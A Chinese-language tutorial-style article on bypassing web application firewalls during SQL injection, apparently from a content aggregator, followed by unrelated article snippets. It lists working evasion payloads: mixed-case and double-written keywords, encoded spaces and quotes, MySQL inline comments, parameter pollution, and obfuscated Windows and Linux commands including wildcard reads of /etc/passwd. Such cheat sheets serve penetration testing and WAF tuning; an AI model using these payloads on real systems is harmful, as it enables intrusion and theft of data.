Sql注入之WAF绕过

news/2024/9/27 17:30:02

WAF 拦截原理

WAF 绕过的思路就是让 WAF 的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过 WAF 的可能性.

image.png

1. 关键词大小写绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例: union select ---> unIOn SeLEcT

2. 编码绕过

针对 WAF 过滤的字符编码,如使用 URL 编码,Unicode 编码,十六进制编码,Hex 编码等.

  • url 编码

select * from zzz = select * from %257a%257a%257a

  • Unicode 编码

单引号 = %u0027、%u02b9、%u02bc

  • 部分十六进制编码

adminuser = 0x61646D696E75736572

  • 各类编码

空格 = %20 %09 %0a %0b %0c %0d %a0

举例: union select 1,2,3# =union%0aselect 1\u002c2,3%23

3. 双写绕过

部分 WAF 只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

举例:UNIunionON ,SELselectECT anandd

4. 换行 ( \N ) 绕过

举例:select * from admin where username = \N union select 1,user() from admin

5. 注释符内联注释绕过

union selecte = /!union/ select

注释符里感叹号后面的内容会被 mysql 执行。

6. HTTP 参数污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

举例:?id=1&id=2&id=3
?id=1/**&id=-1%20union%20select%201,2,3%23*/

order by绕过:%20///--// V4.0
联合绕过:union /!--+/%0aselect/!1,2,3/ --+
from绕过: /!06447%23%0afrom/

7. 通过其他语义相同的关键字替换

  • And = &&

  • Or = ||

  • 等于 = like 或综合<与>判断

  • if(a,b,c) = case when(A) then B else C end

  • substr(str,1,1) = substr (str) from 1 for 1

  • limit 1,1 = limit 1 offset 1

  • Union select 1,2 = union select * from ((select 1)A join (select 2)B;

  • hex()、bin() = ascii()

  • sleep() = benchmark()

  • concat_ws() = group_concat()

  • mid()、substr() = substring()

  • @@user = user()

  • @@datadir = datadir()

  • 空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

    注:%0a是换行也可以替代空格

8. 配合Windows特性

8.1 利用符号分割字符执行 whoami

whoami = ((((Whoam""i))))

8.2 利用变量分割关键字执行whoami

whoami = set a=net&&b=user&&call %a%%b%

  1. 为了方便演示这里设置一个变量

set a=123whoami456

  1. 取出变量a的第3位开始共计6个字符

echo %a:~3,6%

执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测%a:~3,6%

9. 配合Linux特性

9.1 单引号或双引号连接符,需要闭合

whoami = w'h'o'a'm"i"

9.2 ?,*通配符

Cat /etc/passwd = cat /?t*/??ss**

9.3 [] 通配符,匹配【】中的字符

whoami = /b[12312i]n/w[23sh]oa[2msh]i

9.4 linux下也可以变量拼接

Whoami = a=who&&b=ami&&$a$​​​​b

9.5 目录穿越, /被拦截

cat /../../etc/passwd =cd ..&&cd ..&&cd etc&&cat passwd

10. 配合 Mysql 特性

10.1 /**/数据库注释符

中间部分被注释,可用于截断关键字,干扰 waf 匹配。

  • 注释符/**/也可以用于替换空格

User() = user/**/()

Union select = /*95554*/Union/*test123*/select

10.2 /*!*/内敛注释

中间部分继续执行,mysql 特有。

  • /*!*/内部继续执行

User() = /*!user/*123*/()*/

  • 组合

Union select = /*!union*//*123*//*!select*/

10.3 %0a换行与#单行注释符配合使用。

  • 用#注释,再用%0a逃出注释继续执行后面语句

Union select = union#A%0aselect]

11. 配合过滤代码或漏洞本身

11.1 关键字被过滤,双写关键字

  • 将关键字过滤掉后剩下的内容组成新的关键字

and = anandd

11.2 通过c hr() 函数变换关键字

  • 将 acsii 码通过 chr() 函数转换回来

phpinfo() = chr (80).chr (72).chr (80).chr (73).chr (78).chr (70).chr (79).chr (40).chr (41)

11.3 通过 base_convert() 函数变换关键字

phpinfo = base_convert(27440799224,10,32) //从 10 进制转换成 32 进制

12. http 协议绕过

12.1 Content-Type 绕过

application/x-www-form-urlencoded è multipart/form-data

12.2 ​HTTP 请求方式绕过

get 改为 post

12.3 keep-alive(Pipeline)绕过

将恶意代码隐藏在第 n个 请求中,绕过 waf

12.4 分块传输绕过

将关键字 and, or, select , union 等关键字拆开编码

12.5 修改编码方式:Charset 绕过

大部分的 WAF 默认用 UTF8 编码检测

13. 网络结构绕过

直接对源地址发起攻击,流量不会经过 waf,从而成功绕过

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/45918.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

【持续更新】重要FLIP总结

FLIP-27: Refactor Source Interface 流批一体API 1、解耦SplitEnumerator与SplitReader SplitEnumerator:发现并分配splits(比如files/kafka_partitions) SourceReader:从splits里实际读取数据 这样就使不同的splits分配策略与读取动作解耦,可分别封装成两个组件,Source…

Java-HashMap中put源码解读

1.背景Map类型 优点 缺点 线程安全性HashMap 1. 查询、插入、删除操作的时间复杂度为O(1)。2. 允许键和值为null。 1. 无序,不保证迭代顺序。2. 不是线程安全的。 LinkedHashMap 1. 保留插入顺序或访问顺序。2. 与HashMap性能相似。 1. 内存开销较高,因为维护了一个双向链表。…

大模型显存计算

大模型微调需要多少GPU显存?如:微调 1B 模型,16bit = 2byte全量微调显存占用分为:model weight(参数本身):10亿(bit) = 20亿(byte)约等于2GB训练模型时,通过一系列反向传播的方法,来更新模型参数,涉及以下gradient​和optimizer states​参数。不断计算梯度,以更…

一图看懂编码,加密,令牌化的不同之处

一图看懂编码,加密,令牌化的不同之处

解决HBuilder X识别不了魅族手机的问题

似乎魅族手机有点特别,别的手机识别没事,但是到了魅族手机就是识别不了,下面上处理方案 这里假设你的调试已经打开的情况下, 找到目录C:\Users\tutu-qiuxie\Downloads\HBuilderX\plugins\launcher-tools\tools\adbs先把软件关闭, 打开HbuilderX后,记得手机上弹出的是否允…

[模式识别复习笔记] 第5章 贝叶斯分类器

1. 贝叶斯分类器 1.1 贝叶斯公式 假设有一个试验的样本空间为 \(S\),记 \(B_1, B_2, \ldots, B_c\) 为 \(S\) 的一个划分,\(A\) 为试验的条件,且 \(P(A) \not = 0\),则: \[P(B_i | A) = \frac{P(B_i)P(A|B_i)}{P(A)} = \frac{P(B_i)P(A|B_i)}{\sum_{j=1}^{c}P(B_j)P(A|B_j…

Windows删除服务

删除的是文件管理器里的服务 如何进入右击此电脑,选择管理(没看到管理的话点击显示更多选项) 进入计算机管理进入计算机管理后选择服务和应用程序 双击服务 要删除的就是这里的服务——————————如何删除 参考—— https://www.sysgeek.cn/windows-delete-service/以…

你不知道的 CSS 之包含块

你不知道的 CSS 之包含块 一说到 CSS 盒模型,这是很多小伙伴耳熟能详的知识,甚至有的小伙伴还能说出 border-box 和 content-box 这两种盒模型的区别。 但是一说到 CSS 包含块,有的小伙伴就懵圈了,什么是包含块?好像从来没有听说过这玩意儿。好吧,如果你对包含块的知识一…